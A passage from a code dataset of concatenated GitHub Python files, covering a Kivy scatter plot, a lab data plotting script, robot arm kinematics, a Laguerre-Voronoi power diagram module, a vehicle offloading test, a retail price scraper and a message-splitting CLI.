Dict\n","repo_name":"McGillMedPhys/rtdsm","sub_path":"rtdsm/dicomreading.py","file_name":"dicomreading.py","file_ext":"py","file_size_in_byte":15013,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"23"} +{"seq_id":"33814099343","text":"'''\n\n@author: dan\n'''\n\nfrom __future__ import division\n\nfrom kivy.properties import NumericProperty, BooleanProperty,\\\n BoundedNumericProperty, StringProperty, ListProperty, ObjectProperty,\\\n DictProperty, AliasProperty\nfrom kivy.graphics import Rectangle, Ellipse, Color\nfrom graph import Plot\nfrom math import log10, floor, ceil\nimport numpy as np\n\n\nclass ScatterPlot(Plot):\n _radius = NumericProperty(5)\n _ellipses = ListProperty([])\n\n def __init__(self, **kwargs):\n super(ScatterPlot, self).__init__(**kwargs)\n\n def create_drawings(self):\n from kivy.graphics import RenderContext\n\n self._grc = RenderContext(\n use_parent_modelview=True,\n use_parent_projection=True)\n\n with self._grc:\n self._gcolor = Color(*self.color)\n self._ellipses = [Ellipse() for i in xrange(len(self.points))]\n\n return [self._grc]\n\n def draw(self, *args):\n super(ScatterPlot, self).draw(*args)\n params = self._params\n funcx = log10 if params['xlog'] else lambda x: x\n funcy = log10 if params['ylog'] else lambda x: x\n xmin = funcx(params['xmin'])\n ymin = funcy(params['ymin'])\n size = params['size']\n ratiox = (size[2] - size[0]) / float(funcx(params['xmax']) - xmin)\n ratioy = (size[3] - size[1]) / float(funcy(params['ymax']) - ymin)\n for i in xrange(len(self.points)):\n x, y = self.points[i]\n pos = ((funcx(x) - xmin) * ratiox + size[0],\n (funcy(y) - ymin) * ratioy + size[1])\n self._ellipses[i].pos = pos\n self._ellipses[i].size = (self._radius, self._radius)\n","repo_name":"DanShai/kivy-graph","sub_path":"graph_plots/MGraph/extras_plots/scatterPlot2D.py","file_name":"scatterPlot2D.py","file_ext":"py","file_size_in_byte":1673,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"23"} +{"seq_id":"4662881467","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\ntime501, velocity501 = np.genfromtxt(\"data-50%-1.csv\", unpack=True, delimiter=\",\", skip_header=2)\n\ntime502, velocity502 = np.genfromtxt(\"data-50%-2.csv\", unpack=True, delimiter=\",\", skip_header=2)\n\ntime751, velocity751 = np.genfromtxt(\"data75%-1.csv\", unpack=True, delimiter=\",\", skip_header=2)\n\ntime752, velocity752 = np.genfromtxt(\"data75%-2.csv\", unpack=True, delimiter=\",\", skip_header=2)\n\ntime251, velocity251 = np.genfromtxt(\"25%-1.csv\", unpack=True, delimiter=\",\", skip_header=2)\n\ntime252, velocity252 = np.genfromtxt(\"25%-2.csv\", unpack=True, delimiter=\",\", skip_header=2)\n\ntime253, velocity253 = np.genfromtxt(\"25%-3.csv\", unpack=True, delimiter=\",\", skip_header=2)\n\ntimeMAX1, velocityMAX1 = np.genfromtxt(\"MAX1.csv\", unpack=True, delimiter=\",\", skip_header=2)\n\ntimeNoir, velocityNoir = np.genfromtxt(\"Noir.csv\", unpack=True, delimiter=\",\", skip_header=2)\n\nVelocity501 = velocity501 / 1.8\nVelocity502 = velocity502 / 1.8\nVelocity751 = velocity751 / 1.8\nVelocity752 = velocity752 / 1.8\nVelocity251 = velocity251 / 1.8\nVelocity252 = velocity252 / 1.8\nVelocity253 = velocity253 / 1.8\nVelocityMAX1 = velocityMAX1 / 1.8\nVelocityNoir = velocityNoir / 1.8\n\nVelocity501mean = np.mean(Velocity501)\nVelocity502mean = np.mean(Velocity502)\nVelocity751mean = np.mean(Velocity751)\nVelocity752mean = np.mean(Velocity752)\nVelocity251mean = np.mean(Velocity251)\nVelocity252mean = np.mean(Velocity252)\nVelocity253mean = np.mean(Velocity253)\nVelocityMAX1mean = np.mean(VelocityMAX1)\nVelocityNoirmean = np.mean(VelocityNoir)\n\npercentages = [0, 25, 50, 75, 100]\nR1 = [VelocityNoirmean, Velocity251mean, Velocity501mean, Velocity751mean, VelocityMAX1mean]\nR2 = [0, Velocity252mean, Velocity502mean, Velocity752mean, 0]\nR3 = [0, Velocity253mean, 0, 0, 0]\nReplicate1 = plt.scatter(percentages, R1, c = 'red', s = 60, label=\"Replicate1\")\nReplicate2 = plt.scatter(percentages, R2, c = 'yellow', s = 60, label=\"Replicate2\")\nReplicate3 = plt.scatter(percentages, R3, c = 'green', s = 60, label=\"Replicate3\")\nplt.xlabel('LEDs intensity in %', fontsize = 20)\nplt.ylabel('Mean velocity of the gas release during experiment', fontsize = 20)\nplt.legend((Replicate1, Replicate2, Replicate3),\n ('Replicate 1', 'Replicate 2', 'Replicate 3'),\n scatterpoints=1,\n loc='lower right',\n ncol=3,\n fontsize=20)\nplt.show()\n","repo_name":"learningthruresearch/Biosensors2017","sub_path":"RunningCells/code/traitement/analyse-bio-moyennes.py","file_name":"analyse-bio-moyennes.py","file_ext":"py","file_size_in_byte":2390,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"23"} +{"seq_id":"518885357","text":"#UR3正逆运动学代码\n#Created By Dai Cen\n#2023.3.6\n\nimport numpy as np\nimport math\n\n\nPI = math.pi\nalphaDH = [0.0, -PI/2.0, 0.0, 0.0, -PI/2, PI/2] # 连杆长度a units: radian\naDH = [0,0,250,250,0,0] # 连杆扭角α units: mm\ndDH = [210,0,0,109.5,107,76.2] # 连杆距离d units: mm\na1=0 \na2=0 \na3=250\na4=250\na5=0\na6=0\n\nd1=210\nd2=0\nd3=0\nd4=109.5\nd5=107\nd6=76.2\n\nq1_range=[-180,180]\nq_range=[[-270,90],[-150,150],[-260,80],[-168,168],[-174,174]]\n# 输入位姿矩阵T\n# 例如:T=np.matrix(np.array([[0.5,-0.7,-0.3,36],[-0.3,-0.6,0.6,-28.3],[-0.7,-0.2,-0.6,355.7],[0,0,0,1]]))\n \n# 输出解的列表q_list,里面的一个列表就代表一组解\n# 例如:q_list=[[q1_1,q21,……],[],[],……]\n \ndef SIGN(x):\n return (x > 0)-(x < 0)\n\n\nclass Kinematic:\n def __init__(self):\n global alphaDH\n global aDH\n global dDH\n global PI\n\n def Forward(self, q): # q为关节转角 units: radian\n T01 = np.zeros((4, 4))\n T12 = np.zeros((4, 4))\n T23 = np.zeros((4, 4))\n T34 = np.zeros((4, 4))\n T45 = np.zeros((4, 4))\n T56 = np.zeros((4, 4))\n\n T01 = [[math.cos(q[0]), -math.sin(q[0]), 0, aDH[0]],\n [math.sin(q[0])*math.cos(alphaDH[0]), math.cos(q[0])*math.cos(alphaDH[0]), -math.sin(alphaDH[0]), -dDH[0]*math.sin(alphaDH[0])],\n [math.sin(q[0])*math.sin(alphaDH[0]), math.cos(q[0])*math.sin(alphaDH[0]), math.cos(alphaDH[0]), dDH[0]*math.cos(alphaDH[0])],\n [0.0, 0.0, 0.0, 1.0]]\n \n T12 = [[math.cos(q[1]), -math.sin(q[1]), 0, aDH[1]],\n [math.sin(q[1])*math.cos(alphaDH[1]), math.cos(q[1])*math.cos(alphaDH[1]), -math.sin(alphaDH[1]), -dDH[1]*math.sin(alphaDH[1])],\n [math.sin(q[1])*math.sin(alphaDH[1]), math.cos(q[1])*math.sin(alphaDH[1]), math.cos(alphaDH[1]), dDH[1]*math.cos(alphaDH[1])],\n [0.0, 0.0, 0.0, 1.0]]\n \n T23 = [[math.cos(q[2]), -math.sin(q[2]), 0, aDH[2]],\n [math.sin(q[2])*math.cos(alphaDH[2]), math.cos(q[2])*math.cos(alphaDH[2]), -math.sin(alphaDH[2]), -dDH[2]*math.sin(alphaDH[2])],\n [math.sin(q[2])*math.sin(alphaDH[2]), math.cos(q[2])*math.sin(alphaDH[2]), math.cos(alphaDH[2]), dDH[2]*math.cos(alphaDH[2])],\n [0.0, 0.0, 0.0, 1.0]]\n\n T34 = [[math.cos(q[3]), -math.sin(q[3]), 0, aDH[3]],\n [math.sin(q[3])*math.cos(alphaDH[3]), math.cos(q[3])*math.cos(alphaDH[3]), -math.sin(alphaDH[3]), -dDH[3]*math.sin(alphaDH[3])],\n [math.sin(q[3])*math.sin(alphaDH[3]), math.cos(q[3])*math.sin(alphaDH[3]), math.cos(alphaDH[3]), dDH[3]*math.cos(alphaDH[3])],\n [0.0, 0.0, 0.0, 1.0]]\n \n T45 = [[math.cos(q[4]), -math.sin(q[4]), 0, aDH[4]],\n [math.sin(q[4])*math.cos(alphaDH[4]), math.cos(q[4])*math.cos(alphaDH[4]), -math.sin(alphaDH[4]), -dDH[4]*math.sin(alphaDH[4])],\n [math.sin(q[4])*math.sin(alphaDH[4]), math.cos(q[4])*math.sin(alphaDH[4]), math.cos(alphaDH[4]), dDH[4]*math.cos(alphaDH[4])],\n [0.0, 0.0, 0.0, 1.0]]\n \n T56 = [[math.cos(q[5]), -math.sin(q[5]), 0, aDH[5]],\n [math.sin(q[5])*math.cos(alphaDH[5]), math.cos(q[5])*math.cos(alphaDH[5]), -math.sin(alphaDH[5]), -dDH[5]*math.sin(alphaDH[5])],\n [math.sin(q[5])*math.sin(alphaDH[5]), math.cos(q[5])*math.sin(alphaDH[5]), math.cos(alphaDH[5]), dDH[5]*math.cos(alphaDH[5])],\n [0.0, 0.0, 0.0, 1.0]]\n \n T06 = np.matmul(\n np.matmul(np.matmul(np.matmul(np.matmul(T01, T12), T23), T34), T45), T56)\n return T06\n\n def Inverse(self, T):\n errTolerate = 0.000001 # 误差容忍度\n # q_final = np.zeros([1, 6])\n th = np.zeros([8, 7]) # 返回值,第七列为1表示无解可用\n # n vector\n nx = T[0, 0]\n ny = T[1, 0]\n nz = T[2, 0]\n # o vector\n ox = T[0, 1]\n oy = T[1, 1]\n oz = T[2, 1]\n # a vector\n ax = T[0, 2]\n ay = T[1, 2]\n az = T[2, 2]\n # p vector\n px = T[0, 3]\n py = T[1, 3]\n pz = T[2, 3]\n\n A = dDH[5]*ay-py\n B = dDH[5]*ax-px\n C = dDH[1]+dDH[3]\n row = math.sqrt(A*A+B*B)\n\n phi = math.atan2(A, B)\n D = C/row\n\n if math.fabs(D) > 1:\n print(\"angle1 solve err,approximate solution\")\n\n if math.fabs(D)-errTolerate > 1:\n th = []\n return(th)\n D = SIGN(D)\n\n E = math.sqrt(1-D*D)\n\n th1 = [[phi-math.atan2(D, E)],\n [phi-math.atan2(D, -E)]]\n th1 = np.array(th1)\n\n th[0:4, 0] = th1[0]\n th[4:8, 0] = th1[1]\n # 到此步无问题\n th5 = np.zeros([2, 2])\n th5 = np.array(th5)\n th6 = np.zeros([2, 2])\n th6 = np.array(th6)\n\n for i in range(2): # 输出0,1\n\n A6 = nx*math.sin(th1[i]) - ny*math.cos(th1[i]) # T23456(2,0) 单值\n B6 = ox*math.sin(th1[i]) - oy*math.cos(th1[i]) # T23456(2,1) 单值\n C6 = ax*math.sin(th1[i]) - ay*math.cos(th1[i]) # T23456(2,2) 单值\n\n tempTh5 = math.acos(C6) # 单值\n signTh5_1 = SIGN(math.sin(tempTh5)) # 关节5第一种取值的正弦值的正负号\n signTh5_2 = SIGN(math.sin(-tempTh5)) # 关节5第二种取值的正弦值的正负号\n th5[i, 0] = tempTh5\n th5[i, 1] = -tempTh5\n th6[i, 0] = math.atan2(B6*signTh5_1, -A6*signTh5_1)\n th6[i, 1] = math.atan2(B6*signTh5_2, -A6*signTh5_2)\n\n th[0, 5] = th6[0, 0]\n th[1, 5] = th6[0, 0]\n th[2, 5] = th6[0, 1]\n th[3, 5] = th6[0, 1]\n\n th[4, 5] = th6[1, 0]\n th[5, 5] = th6[1, 0]\n th[6, 5] = th6[1, 1]\n th[7, 5] = th6[1, 1]\n\n th[0, 4] = th5[0, 0]\n th[1, 4] = th5[0, 0]\n th[2, 4] = th5[0, 1]\n th[3, 4] = th5[0, 1]\n\n th[4, 4] = th5[1, 0]\n th[5, 4] = th5[1, 0]\n th[6, 4] = th5[1, 1]\n th[7, 4] = th5[1, 1]\n\n for i in range(4):\n th1_single = np.array(th[i*2, 0])\n th5_single = np.array(th[i*2, 4])\n th6_single = np.array(th[i*2, 5])\n s234 = -math.cos(th6_single)*(ox*math.cos(th1_single) + oy*math.sin(th1_single)) - \\\n math.sin(th6_single)*(nx*math.cos(th1_single) +\n ny*math.sin(th1_single))\n c234 = oz*math.cos(th6_single) + nz*math.sin(th6_single)\n th234 = math.atan2(s234, c234)\n\n # T234\n A14 = px*math.cos(th1_single) - dDH[5]*(ax*math.cos(th1_single) + ay*math.sin(th1_single)) + py*math.sin(th1_single) - dDH[4]*(math.cos(th6_single)*(\n ox*math.cos(th1_single) + oy*math.sin(th1_single)) + math.sin(th6_single)*(nx*math.cos(th1_single) + ny*math.sin(th1_single))) # a3*cos(c2 + c3) + a2*cos(c2)\n # a3*sin(c2 + c3) + a2*sin(c2)\n A24 = pz-dDH[0]-az*dDH[5]-dDH[4] * \\\n (oz*math.cos(th6_single)+nz*math.sin(th6_single))\n B2 = (A14*A14+A24*A24+aDH[1]*aDH[1]-aDH[2]*aDH[2])/(2*aDH[1])\n\n row2 = math.sqrt(A14*A14+A24*A24)\n phi2 = math.atan2(A24, A14)\n C2 = B2/row2\n\n if math.fabs(C2) > 1:\n if math.fabs(C2)-errTolerate > 1:\n th[2*i:2*i+1, 6] = 1\n C2 = SIGN(C2)\n # print(C2)\n th2_phi = math.acos(C2)\n th2 = np.array([phi2-th2_phi, phi2+th2_phi])\n\n c23 = np.array([(A14-aDH[1]*math.cos(th2[0]))/aDH[2],\n (A14-aDH[1]*math.cos(th2[1]))/aDH[2]])\n s23 = np.array([(A24-aDH[1]*math.sin(th2[0]))/aDH[2],\n (A24-aDH[1]*math.sin(th2[1]))/aDH[2]])\n\n th23 = np.array([math.atan2(s23[0], c23[0]),\n math.atan2(s23[1], c23[1])])\n th3 = th23-th2\n th4 = th234-th2-th3\n\n th[2*i, 1] = th2[0]\n th[2*i+1, 1] = th2[1]\n th[2*i, 2] = th3[0]\n th[2*i+1, 2] = th3[1]\n th[2*i, 3] = th4[0]\n th[2*i+1, 3] = th4[1]\n return th\n\n def best_q_solution_inverse(self, weights, T, q_front):\n th = self.Inverse(T)\n scores = np.array(np.zeros([8]))\n\n for i in range(8):\n for j in range(6):\n scores[i] += weights[j]*math.fabs(th[i, j]-q_front[j])\n\n print(scores)\n index = np.argmin(scores, axis=0) # 取scores数组中,返回行最大元素的index\n\n q_final = np.array(np.zeros([6]))\n for i in range(6):\n q_final[i] = th[index, i]\n\n return q_final\n \ndef isRotationMatrix(R) :\n Rt = np.transpose(R)\n shouldBeIdentity = np.dot(Rt, R)\n I = np.identity(3, dtype = R.dtype)\n n = np.linalg.norm(I - shouldBeIdentity)\n return n < 1e-6\n\ndef rotationMatrixToEulerAngles(R) :\n assert(isRotationMatrix(R))\n sy = math.sqrt(R[0,0] * R[0,0] + R[1,0] * R[1,0])\n singular = sy < 1e-6\n if not singular :\n x = math.atan2(R[2,1] , R[2,2])\n y = math.atan2(-R[2,0], sy)\n z = math.atan2(R[1,0], R[0,0])\n else :\n x = math.atan2(-R[1,2], R[1,1])\n y = math.atan2(-R[2,0], sy)\n z = 0\n return np.array([x, y, z])*180/PI\n\ndef angels_to_coords(J):\n J=[x*PI/180 for x in J]\n out=Kinematic().Forward(J)\n coords=[out[0,3],out[1,3],out[2,3]]+list(rotationMatrixToEulerAngles(out[0:3,0:3]))\n return coords\n\ndef main():\n\n q1 = [-10*PI/180, -49.995012*PI/180 ,109.998288*PI/180 ,-45.087891*PI/180 ,75.498047*PI/180 ,0.175781*PI/180]\n q2 = [-10, -49.995012 ,109.998288 ,-45.087891 ,75.498047,0.175781]\n xx=-90\n raw=[-0.000096,-90.000839,-0.000892,-90.263672,-0.351562,-0.087891]\n raw1=[90.2651,98.8476,116.7687,-106.1457,37.1629,142.4798]\n q3=[x*PI/180 for x in raw1]\n\n c = Kinematic()\n print(c.Forward(q3))\n #print(c.Inverse(c.Forward(q1)))\n out=c.Forward(q3)\n print('x:',out[0,3])\n print('y:',out[1,3])\n print('z:',out[2,3])\n rx = math.atan2(math.sqrt(out[2,0]*out[2,0]+out[2,1]*out[2,1]),out[2,2])*180/PI\n ry = -math.atan2(out[2,0], out[2,1])*180/PI\n rz = math.atan2(out[0,2],-out[1,2])*180/PI\n print(\"rx:\",rx)\n print(\"ry:\",ry)\n print(\"rz:\",rz)\n coords=[out[0,3],out[1,3],out[2,3]]+list(rotationMatrixToEulerAngles(out[0:3,0:3]))\n print(coords)\n # f = open('/home/lihaolin/mycobot/src/mycobot_600/scripts/data.txt', 'w')\n # j1=-180\n # j2=-270\n # j3=-150\n # j4=-260\n # j5=-168\n # j6=-174\n # # for i in range (0,int(360/15)):\n # # print(\"i:\",i)\n # # print('\\n')\n # # j1=j1+i*15\n # # for j in range (0,int(360/15)):\n # # j2=j2+j*15\n # # for k in range (0,int(300/15)):\n # # j3=j3+k*15\n # # for l in range (0,int(340/15)):\n # # j4=j4+l*15\n # # for z in range (0,int(336/15)):\n # # j5=j5+z*15\n # # for x in range (0,int(348/15)):\n # # j6=j6+x*15\n # # f.write(str([round(x,1) for x in list(angels_to_coords([j1,j2,j3,j4,j5,j6]))]))\n # # f.write(' ')\n # # f.write(str([j1,j2,j3,j4,j5,j6]))\n # # f.write('\\n')\n # # f.close()\n T=np.matrix(np.array([\n [0.5,-0.7,-0.3,36],\n [-0.3,-0.6,0.6,-28.3],\n [-0.7,-0.2,-0.6,355.7],\n [0,0,0,1]\n ]))\n\n\nif __name__ == '__main__':\n main()","repo_name":"karlmaji/overcoming-obstacles","sub_path":"src/mycobot_600/scripts/jiesuan.py","file_name":"jiesuan.py","file_ext":"py","file_size_in_byte":12022,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"23"} +{"seq_id":"18041122855","text":"\"\"\" \nThis is a slightly altered version of Alexandre Deverts \"2d Laguerre-Voronoi diagrams\" code.\nOriginal version: https://gist.github.com/marmakoide/45d5389252683ae09c2df49d0548a627\nBundled and used with permission. \n\"\"\"\n\nimport itertools\nimport numpy\nfrom scipy.spatial import ConvexHull\n\nfrom matplotlib.collections import LineCollection\nfrom matplotlib import pyplot as plot\n\nimport math\n\n# --- Misc. geometry code -----------------------------------------------------\n\n'''\nPick N points uniformly from the unit disc\nThis sampling algorithm does not use rejection sampling.\n'''\ndef disc_uniform_pick(N):\n angle = (2 * numpy.pi) * numpy.random.random(N)\n out = numpy.stack([numpy.cos(angle), numpy.sin(angle)], axis = 1)\n out *= numpy.sqrt(numpy.random.random(N))[:,None]\n return out\n\n\n\ndef norm2(X):\n return numpy.sqrt(numpy.sum(X ** 2))\n\n\n\ndef normalized(X):\n return X / norm2(X)\n\n\n\n# --- Delaunay triangulation --------------------------------------------------\n\ndef get_triangle_normal(A, B, C):\n return normalized(numpy.cross(A, B) + numpy.cross(B, C) + numpy.cross(C, A))\n\n\n\ndef get_power_circumcenter(A, B, C):\n N = get_triangle_normal(A, B, C)\n return (-.5 / N[2]) * N[:2]\n\n\n\ndef is_ccw_triangle(A, B, C):\n M = numpy.concatenate([numpy.stack([A, B, C]), numpy.ones((3, 1))], axis = 1)\n return numpy.linalg.det(M) > 0\n\n\n\ndef get_power_triangulation(S, R):\n\n # Compute the lifted weighted points\n S_norm = numpy.sum(S ** 2, axis = 1) - R ** 2\n S_lifted = numpy.concatenate([S, S_norm[:,None]], axis = 1)\n\n # Special case for 3 points\n if S.shape[0] == 3:\n if is_ccw_triangle(S[0], S[1], S[2]):\n return [[0, 1, 2]], numpy.array([get_power_circumcenter(*S_lifted)])\n else:\n return [[0, 2, 1]], numpy.array([get_power_circumcenter(*S_lifted)])\n\n # Compute the convex hull of the lifted weighted points\n hull = ConvexHull(S_lifted)\n \n # Extract the Delaunay triangulation from the lower hull\n tri_list = tuple([a, b, c] if is_ccw_triangle(S[a], S[b], S[c]) else [a, c, b] for (a, b, c), eq in zip(hull.simplices, hull.equations) if eq[2] <= 0)\n \n # Compute the Voronoi points\n V = numpy.array([get_power_circumcenter(*S_lifted[tri]) for tri in tri_list])\n\n # Job done\n return tri_list, V\n\n\n\n# --- Compute Voronoi cells ---------------------------------------------------\n\n'''\nCompute the segments and half-lines that delimits each Voronoi cell\n * The segments are oriented so that they are in CCW order\n * Each cell is a list of (i, j), (A, U, tmin, tmax) where\n * i, j are the indices of two ends of the segment. Segments end points are\n the circumcenters. If i or j is set to None, then it's an infinite end\n * A is the origin of the segment\n * U is the direction of the segment, as a unit vector\n * tmin is the parameter for the left end of the segment. Can be None, for minus infinity\n * tmax is the parameter for the right end of the segment. Can be None, for infinity\n * Therefore, the endpoints are [A + tmin * U, A + tmax * U]\n'''\ndef get_voronoi_cells(S, V, tri_list):\n # Keep track of which circles are included in the triangulation\n vertices_set = frozenset(itertools.chain(*tri_list))\n\n # Keep track of which edge separate which triangles\n edge_map = { }\n for i, tri in enumerate(tri_list):\n for edge in itertools.combinations(tri, 2):\n edge = tuple(sorted(edge))\n if edge in edge_map:\n edge_map[edge].append(i)\n else:\n edge_map[edge] = [i]\n\n # For each triangle\n voronoi_cell_map = { i : [] for i in vertices_set }\n\n for i, (a, b, c) in enumerate(tri_list):\n # For each edge of the triangle\n for u, v, w in ((a, b, c), (b, c, a), (c, a, b)):\n # Finite Voronoi edge\n edge = tuple(sorted((u, v)))\n if len(edge_map[edge]) == 2:\n j, k = edge_map[edge]\n if k == i:\n j, k = k, j\n \n # Compute the segment parameters\n U = V[k] - V[j]\n U_norm = norm2(U) \n\n # Add the segment\n voronoi_cell_map[u].append(((j, k), (V[j], U / U_norm, 0, U_norm)))\n else: \n # Infinite Voronoi edge\n # Compute the segment parameters\n A, B, C, D = S[u], S[v], S[w], V[i]\n U = normalized(B - A)\n I = A + numpy.dot(D - A, U) * U\n W = normalized(I - D)\n if numpy.dot(W, I - C) < 0:\n W = -W \n \n # Add the segment\n voronoi_cell_map[u].append(((edge_map[edge][0], None), (D, W, 0, None))) \n voronoi_cell_map[v].append(((None, edge_map[edge][0]), (D, -W, None, 0))) \n\n # Order the segments\n def order_segment_list(segment_list):\n\n # print(segment_list)\n\n segment_list_new = []\n\n for s in segment_list:\n\n new = s\n\n if s[0][0] == None:\n new = ((-math.inf, s[0][1]), *s[1:])\n\n if s[0][1] == None:\n new = ((s[0][0], math.inf), *s[1:])\n\n segment_list_new.append(new)\n\n segment_list = segment_list_new\n\n # Pick the first element\n first = min((seg[0][0], i) for i, seg in enumerate(segment_list))[1]\n\n # In-place ordering\n segment_list[0], segment_list[first] = segment_list[first], segment_list[0]\n for i in range(len(segment_list) - 1):\n for j in range(i + 1, len(segment_list)):\n if segment_list[i][0][1] == segment_list[j][0][0]:\n segment_list[i+1], segment_list[j] = segment_list[j], segment_list[i+1]\n break\n\n # Job done\n return segment_list\n\n # Job done\n # print(voronoi_cell_map)\n\n return { i : order_segment_list(segment_list) for i, segment_list in voronoi_cell_map.items() }\n\n\n\n# --- Plot all the things -----------------------------------------------------\n\ndef display(S, R, tri_list, voronoi_cell_map):\n # Setup\n fig, ax = plot.subplots()\n plot.axis('equal')\n plot.axis('off') \n\n # Set min/max display size, as Matplotlib does it wrong\n min_corner = numpy.amin(S, axis = 0) - numpy.max(R)\n max_corner = numpy.amax(S, axis = 0) + numpy.max(R)\n plot.xlim((min_corner[0], max_corner[0]))\n plot.ylim((min_corner[1], max_corner[1]))\n\n # Plot the samples\n for Si, Ri in zip(S, R):\n ax.add_artist(plot.Circle(Si, Ri, fill = True, alpha = .4, lw = 0., color = '#8080f0', zorder = 1))\n\n # Plot the power triangulation\n edge_set = frozenset(tuple(sorted(edge)) for tri in tri_list for edge in itertools.combinations(tri, 2))\n line_list = LineCollection([(S[i], S[j]) for i, j in edge_set], lw = 1., colors = '.9')\n line_list.set_zorder(0)\n ax.add_collection(line_list)\n\n # Plot the Voronoi cells\n edge_map = { }\n for _, segment_list in voronoi_cell_map.items():\n for (edge, (A, U, tmin, tmax)) in segment_list:\n edge = tuple(sorted(edge))\n if edge not in edge_map:\n if tmax is None or tmax is math.inf:\n tmax = 1000\n if tmin is None or tmin is -math.inf:\n tmin = -1000\n\n edge_map[edge] = (A + tmin * U, A + tmax * U)\n\n line_list = LineCollection(edge_map.values(), lw = 1., colors = 'k')\n line_list.set_zorder(0)\n ax.add_collection(line_list)\n\n # Job done\n plot.show()\n\n \n\n# --- Main entry point --------------------------------------------------------\n\ndef get_power_diagram(S, R):\n\n tri_list, V = get_power_triangulation(S, R)\n voronoi_cell_map = get_voronoi_cells(S, V, tri_list)\n\n return voronoi_cell_map\n\n\ndef main():\n # Generate samples, S contains circles center, R contains circles radius\n sample_count = 32\n S = 5 * disc_uniform_pick(sample_count)\n R = .8 * numpy.random.random(sample_count) + .2\n\n # Compute the power triangulation of the circles\n tri_list, V = get_power_triangulation(S, R)\n\n # Compute the Voronoi cells\n voronoi_cell_map = get_voronoi_cells(S, V, tri_list)\n\n # Display the result\n display(S, R, tri_list, voronoi_cell_map)\n\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"volzotan/Seedmarkers","sub_path":"generate/power.py","file_name":"power.py","file_ext":"py","file_size_in_byte":8388,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"23"} +{"seq_id":"23955445796","text":"from offloading import Offloading\r\nimport numpy as np\r\nfrom vehicle import Vehicle\r\nif __name__ == '__main__':\r\n off = Offloading()\r\n off.reset()\r\n\r\n # for vehicle in off.vehicles:\r\n # print(\"vehicle{} location:\".format(vehicle.id), vehicle.get_location)\r\n service_vehicle = Vehicle(id=3, loc_x=200, loc_y=1, direction=1, velocity=15)\r\n service_vehicle.create_work()\r\n\r\n vehicles = off.vehicles\r\n\r\n # off.distribute_task()\r\n # off.distribute_resource()\r\n # off.compute_rate(service_vehicle, vehicles[0])\r\n off.compute_persist(service_vehicle, vehicles[1])\r\n","repo_name":"NetworkCommunication/STRIVE","sub_path":"IGSP/env/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":594,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"23"} +{"seq_id":"41493888033","text":"import requests\nfrom bs4 import BeautifulSoup\nimport re\nimport discord\nimport discord.ext\nimport json\nimport os\n\ndef tratamento_preco(preco_string):\n preco_rege = re.sub('[^0-9]', '', preco_string)\n preco_int = int(preco_rege) / 100\n return preco_int\ndef mostra_item(item_list):\n\n for item in item_list:\n print(f\"{item[0]}\\nPreço atual:{item[1]} \\nPreço antigo:{item[2]}\\nDesconto: {round(item[2] - item[1], 2)}\\n\")\ndef salvar_produtos_antigos(lista):\n with open('produtos_antigos.json', 'w', encoding='utf8') as arquivo:\n json.dump(lista, arquivo, indent=2)\ndef salvar_produtos_novos(lista):\n with open('produtos_novos.json', 'w', encoding='utf8') as arquivo:\n json.dump(lista, arquivo, indent=2)\ndef produtos_novos():\n with open('produtos_antigos.json', 'r', encoding='utf8') as arquivo:\n itens_js_antigos = json.load(arquivo)\n lista_antigos = list(itens_js_antigos)\n\n with open('produtos_novos.json', 'r', encoding='utf8') as arquivo:\n itens_js2_novos = json.load(arquivo)\n lista_novos = list(itens_js2_novos)\n\n produtos_novos = [x for x in lista_novos if x not in lista_antigos]\n\n return produtos_novos\ndef verificar_arquivo(lista):\n if(os.path.exists('produtos_antigos.json')):\n print('Arquivo existente')\n else:\n salvar_produtos_antigos(lista)\n print('Arquivo criado')\n\nnome_produto = []\npreco_produto_list = []\npreco_original_list = []\n\nofertas_do_dia = \"https://www.magazineluiza.com.br/selecao/ofertasdodia/?page=\"\ndef scrap(pagina):\n page_number = 0\n for i in range (3):\n page_number +=1\n response = requests.get(f'{pagina}{page_number}')\n content = response.content\n\n site = BeautifulSoup(content, 'html.parser')\n\n # Localização item e preço\n iten_html = site.findAll('li', class_=re.compile('sc-APcvf'))\n title = site.findAll('h2', class_=re.compile('sc-eWzREE'))\n preco_atual_string = site.findAll('p', class_=re.compile('sc-kpDqfm eC'))\n preco_original_string = site.findAll(class_=re.compile('sc-kpDqfm ef'))\n\n for titulos in title:\n produto = titulos.string\n nome_produto.append(produto)\n\n for preco in preco_atual_string:\n preco_produto = preco.string\n preco_tratado = tratamento_preco(preco_produto)\n preco_produto_list.append(preco_tratado)\n\n for preco_original in preco_original_string:\n preco_original_produto = preco_original.string\n preco_original_tratado = tratamento_preco(preco_original_produto)\n preco_original_list.append(preco_original_tratado)\n\nscrap(ofertas_do_dia)\nitens = list(zip(nome_produto ,preco_produto_list ,preco_original_list))\n\nverificar_arquivo(itens)\nsalvar_produtos_novos(itens)\nmostra_item(produtos_novos())\nsalvar_produtos_antigos(itens)\n\n","repo_name":"ErickDutra/Bot_Scraping_magalu","sub_path":"Bot_Scraping_Magalu/magaluscrp.py","file_name":"magaluscrp.py","file_ext":"py","file_size_in_byte":2876,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"36241068542","text":"import click\n\nfrom msg_split import split_message, MAX_LEN\n\n\n@click.command()\n@click.option('--max-len', default=MAX_LEN, type=int, help='Maximum length of the message fragment')\n@click.argument('file_path', type=click.Path(exists=True, readable=True))\ndef main(max_len: int, file_path: str):\n with open(file_path, 'r', encoding='utf-8') as file:\n content = file.read()\n\n for fragment in split_message(content, max_len):\n print(fragment)\n print(\"
